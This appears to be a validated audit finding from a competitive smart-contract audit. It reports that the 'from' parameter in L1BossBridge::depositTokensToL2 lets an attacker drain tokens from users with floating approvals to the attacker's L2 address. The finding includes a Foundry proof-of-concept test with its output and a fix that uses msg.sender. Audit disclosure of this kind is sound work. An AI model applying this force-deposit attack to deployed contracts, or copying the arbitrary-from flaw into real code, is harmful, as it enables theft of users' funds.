Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can abuse floating approval to force deposit

To call L1BossBridge::depositTokensToL2, a depositor needs to first approve the bridge to be able to transfer tokens from their address to the vault. The depositor would then call L1BossBridge::depositTokensToL2. When an approval has been made but deposit has not been called, an attacker can call L1BossBridge::depositTokensToL2 on behalf of the depositor and force them to deposit which can be withdrawn by their own L2 address.

Vulnerability details

In L1BossBridge::depositTokensToL2 on lines 70-78, the from address to deposit the tokens is specified as a parameter and L1Token::safeTransferFrom is called using this address:

function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
token.safeTransferFrom(from, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
emit Deposit(from, l2Recipient, amount);
}

This means that, if an approval has been made by a user, but deposit has not yet been called, an attacker can call deposit on behalf of the user and send the funds to their own L2 address by specifying l2address to be their own address.

Impact

An attacker can force users to deposit their tokens to the bridge and withdraw from the L2 using their own, attacking address.
Since users' funds are at risk, this is a high-impact, highly likely finding, which makes it high severity.

Proof of concept

Working test case

The following test simulates a user calling approve(), which is a floating approval, and an attacker calling depositTokensToL2() with an attacking address as the l2Recipient. The test passes demonstrating that the user's balance has decreased and the attacker has successfully deposited their approved tokens, to be withdrawn by the attacking address on the L2.

function test_poc_forceDeposit() public {
address attacker = makeAddr("attacker");
address attackerL2 = makeAddr("attackerL2");
uint256 depositAmount = 10e18;
uint256 balanceBefore = token.balanceOf(user);
console2.log("balance before: %s", balanceBefore);
// attacker can abuse floating approval
vm.prank(user);
token.approve(address(tokenBridge), depositAmount);
// attacker calls deposit on behalf of the user with their own L2 address
vm.startPrank(attacker);
tokenBridge.depositTokensToL2(user, attackerL2, depositAmount);
uint256 balanceAfter = token.balanceOf(user);
console2.log("balance after: %s", balanceAfter);
assertGt(balanceBefore, balanceAfter);
}
$ forge test --mt test_poc_forceDeposit -vvvv
// output
Running 1 test for test/L1TokenBridge.t.sol:L1BossBridgeTest
[PASS] test_poc_forceDeposit() (gas: 70335)
Logs:
balance before: 1000000000000000000000
balance after: 990000000000000000000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 15.82ms

Recommended mitigation

Remove the from parameter in L1BossBridge::depositTokensToL2:

-function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
- token.safeTransferFrom(from, address(vault), amount);
+ token.safeTransferFrom(msg.sender, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
- emit Deposit(from, l2Recipient, amount);
+ emit Deposit(msg.sender, l2Recipient, amount);
}

This will ensure that the address calling L1BossBridge::depositTokensToL2 will now be the address that deposits the tokens.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

depositTokensToL2(): abitrary from address

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.